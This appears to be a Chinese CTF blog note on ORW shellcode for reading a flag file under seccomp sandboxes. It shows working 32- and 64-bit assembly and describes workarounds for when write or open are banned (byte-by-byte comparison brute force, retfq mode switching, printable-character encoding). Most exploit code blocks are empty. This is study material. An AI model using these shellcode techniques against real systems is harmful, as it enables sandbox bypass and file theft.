ORW
Last Update:
Word Count:
Read Time:
Page View: loading...
最近复现强网杯2021赛题[shellcode]有感,特意来学习一下有关orw原理中缺少某些函数的情况如何进行ORW
禁用沙箱规则我在之前提到过 [[prctl-seccomp]]
参考了大佬!https://www.jianshu.com/p/754b0a2ae353
普通 ORW
32 位
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29; "/home/orw/flag\x00" 保存到栈上
; 小端序
; 要注意给字符串结尾加上 '\x00'
push 0x006761
push 0x6c662f77
push 0x726f2f65
push 0x6d6f682f
; open("/home/orw/flag", O_RDONLY)
; #define O_RDONLY 0
mov eax,5 ; open() 系统调用号是 5
mov ebx,esp ; "/home/orw/flag"
xor ecx,ecx ; O_RDONLY = 0
xor edx,edx
int 0x80 ; int 80h 会报错
; 返回 fd 保存到 eax 中
; read(fd, buf, count)
mov ebx,eax ; fd
mov eax,3 ; read() 的系统调用号是 3
mov ecx,esp ; buf
mov edx,0x30 ; count
int 0x80
; write(fd, buf, count)
mov eax,4 ; write() 的系统调用号是 4
mov ebx,1 ; fd=1, write到标准输出
mov ecx,esp ; buf
mov edx,0x30 ; count
int 0x8064 位
(1). 版本一1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25; open("flag", 0)
0: 68 66 6c 61 67 push 0x67616c66
5: 6a 02 push 0x2
7: 58 pop rax
8: 48 89 e7 mov rdi,rsp
b: 48 31 f6 xor rsi,rsi
e: 0f 05 syscall
; read(fd, rsp, 0x20)
10: 48 89 c7 mov rdi,rax
13: 48 31 c0 xor rax,rax
16: 48 89 e6 mov rsi,rsp
19: 6a 20 push 0x20
1b: 5a pop rdx
1c: 0f 05 syscall
; write(1, rsp, 0x20)
1e: 6a 01 push 0x1
20: 58 pop rax
21: 6a 01 push 0x1
23: 5f pop rdi
24: 48 89 e6 mov rsi,rsp
27: 6a 20 push 0x20
29: 5a pop rdx
2a: 0f 05 syscall
(2). 版本二
1 |
|
OR 缺 W (例题: 2021-蓝帽杯初赛-slient)
- 文件
题目保护如下
1 |
|
沙箱保护开启如下,只能允许read,open,禁用了write,那么意味着我们ORW组合技只有OR可以使用
1 |
|
逆向代码分析
1 |
|
1 |
|
由 on Linux, the kernel will pick a nearby page boundary (but always above or equal to the value specified by /proc/sys/vm/mmap_min_addr)
可知:Linux 为 mmap
分配虚拟内存时,总是从最接近 addr
的页边缘开始的,而且保证地址不低于 /proc/sys/vm/mmap_min_addr
所指定的值。
可以看到,mmap_min_addr = 65536 = 0x10000
,因此刚才判断程序利用 mmap 函数在 0x10000 处开辟一个 page 的空间。
1 |
|
思路
既然不能 `write`,便只能用 `open` 函数打开 flag 文件后将其中保存的 flag 用 `read` 函数读取出来,再逐字节遍历,与所有的打印字符用 `cmp` 进行比较,一个一个字节地爆破出来。详见 EXP。
Exp
1 |
|
RW 缺 O
参考资料:shellcode 的艺术
详情请看文章中的 “六、禁用了system和open,还限制了shellcode字符”,里面用 ex 师傅的一道题目为例。
在 ex 师傅的这道题中,程序是 64 位的,禁用了 open
函数,但是允许调用 fstat
函数(该函数的 64 位系统调用号为 5,这个是 open
函数的 32 位系统调用号)。因此,这道题的基本思路就是利用 retfq
汇编指令进行 32 位和 64 位系统格式之间的切换,在 32 位格式下执行 open
函数打开 flag
文件,在 64 位格式下执行输入输出。
而且,由于这道题限制输入的 shellcode 必须是可打印字符,在写 shellcode 的时候还需要使用一些技巧,基本思路就是:对于一些(对应的字节码是不可打印字符)的汇编指令,利用可打印字符之间的算术操作(主要是异或)来获取。具体可以参考文章中的 “三、限制字符”。
下面是文章中的代码,自己加了一点注释:
1 |
|
R 缺 OW (例题: 2021-强网杯-初赛-shellcode)
这道题其实就是 “R 缺 OW”,上面两种情况的融合怪。
1 |
|